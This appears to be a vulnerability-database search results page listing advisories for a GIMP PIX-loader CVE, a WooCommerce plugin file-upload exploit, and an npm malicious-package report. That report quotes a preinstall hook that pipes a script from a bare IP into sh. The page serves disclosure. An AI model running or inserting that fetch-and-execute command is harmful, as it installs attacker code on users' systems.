Lucene search
+L

728 matches found

OSSF Malicious Packages
OSSF Malicious Packages
•added 2026/08/28 11:01 p.m.•30 views

Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

6.1AI score
SaveExploits0References2
SUSE CVE
SUSE CVE
•added 2026/08/28 4:38 p.m.•10 views

SUSE CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.8AI score0.00264EPSS
SaveExploits0References3
Tenable Nessus
Tenable Nessus
•added 2026/08/25 12:00 a.m.•10 views

Linux Distros Unpatched Vulnerability : CVE-2026-78475

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the...

6.1CVSS7.1AI score0.00264EPSS
SaveExploits0References4
NVD
NVD
•added 2026/08/24 6:17 p.m.•16 views

CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS0.00264EPSS
SaveExploits0References3
UbuntuCve
UbuntuCve
•added 2026/08/24 6:17 p.m.•14 views

CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.7AI score0.00264EPSS
SaveExploits0References2
OSV
OSV
•added 2026/08/24 6:17 p.m.•12 views

UBUNTU-CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.7AI score0.00264EPSS
SaveExploits0References3
EUVD
EUVD
•added 2026/08/24 5:20 p.m.•13 views

EUVD-2026-65004

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.4AI score0.00264EPSS
SaveExploits0References3
AlpineLinux
AlpineLinux
•added 2026/08/24 5:20 p.m.•13 views

CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.8AI score0.00264EPSS
SaveExploits0References3
Vulnrichment
Vulnrichment
•added 2026/08/24 5:20 p.m.•12 views

CVE-2026-78475 Gimp: unbounded stack vla and 21-byte stack over-read in pix (esm) loader

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.4AI score0.00264EPSS
SaveExploits0References3
CVE
CVE
•added 2026/08/24 5:20 p.m.•36 views

CVE-2026-78475

A flaw in the file-pix (ESM) plugin in GIMP occurs when processing a specially crafted PIX image file. The plugin allocates a Variable-Length Array (VLA) on the stack without proper bounds checking, resulting in an unbounded stack allocation followed by a 21-byte stack over-read . This can cause ...

6.1CVSS5.3AI score0.00264EPSS
SaveExploits0References3Affected Software1
Cvelist
Cvelist
•added 2026/08/24 5:20 p.m.•46 views

CVE-2026-78475 Gimp: unbounded stack vla and 21-byte stack over-read in pix (esm) loader

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS0.00264EPSS
SaveExploits0References3
Debian CVE
Debian CVE
•added 2026/08/24 5:20 p.m.•14 views

CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.3AI score0.00264EPSS
SaveExploits0
RedhatCVE
RedhatCVE
•added 2026/08/24 5:20 p.m.•12 views

CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.3AI score0.00264EPSS
SaveExploits0References4
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2026/08/24 12:00 a.m.•1 views

CVE-2026-78475: Out-of-bounds Read

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS7.2AI score0.00264EPSS
SaveExploits0References5
Positive Technologies
Positive Technologies
•added 2026/08/24 12:00 a.m.•23 views

PT-2026-80984

Name of the Vulnerable Software and Affected Versions GIMP affected versions not specified Description A flaw exists in the file-pix ESM plugin. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA—an array whose size is determined at runtime—on the...

7CVSS7.2AI score0.00281EPSS
SaveExploits1References31
Exploit DB
Exploit DB
•added 2026/08/17 12:00 a.m.•26 views

WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload

Exploit Title: WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload Google Dork: N/A Date: 2026-07-15 Exploit Author: Mohammad Hossein Sadeghian Vendor Homepage: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/ Software Link:...

9.8CVSS5.2AI score0.29729EPSS
SaveExploits13
GithubExploit
GithubExploit
•added 2026/08/03 4:01 p.m.•28 views

Exploit for CVE-2026-3891

🚀 CVE-2026-3891 – Pix for WooCommerce Unauthenticated File Upl...

9.8CVSS6.8AI score0.29729EPSS
SaveExploits13
Packet Storm
Packet Storm
•added 2026/07/30 12:00 a.m.•59 views

📄 WordPress Pix for WooCommerce 1.5.0 Shell Upload

This Metasploit module exploits an unauthenticated arbitrary file upload vulnerability in the Pix for WooCommerce plugin for WordPress. Attackers can leverage the missing capability check and insufficient file type validation in the lknpixforwoocommercec6savesettings function to upload arbitrary...

9.8CVSS6.5AI score0.29729EPSS
SaveExploits13
GithubExploit
GithubExploit
•added 2026/07/15 7:24 p.m.•115 views

Exploit for CVE-2026-3891

CVE-2026-3891 — Pix for WooCommerce Unauthenticated File Upload...

9.8CVSS6.2AI score0.29729EPSS
SaveExploits13
GithubExploit
GithubExploit
•added 2026/07/15 7:06 p.m.•107 views

Exploit for CVE-2026-3891

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit 🛡️ Descri...

9.8CVSS6.2AI score0.29729EPSS
SaveExploits13
Rows per page
Query Builder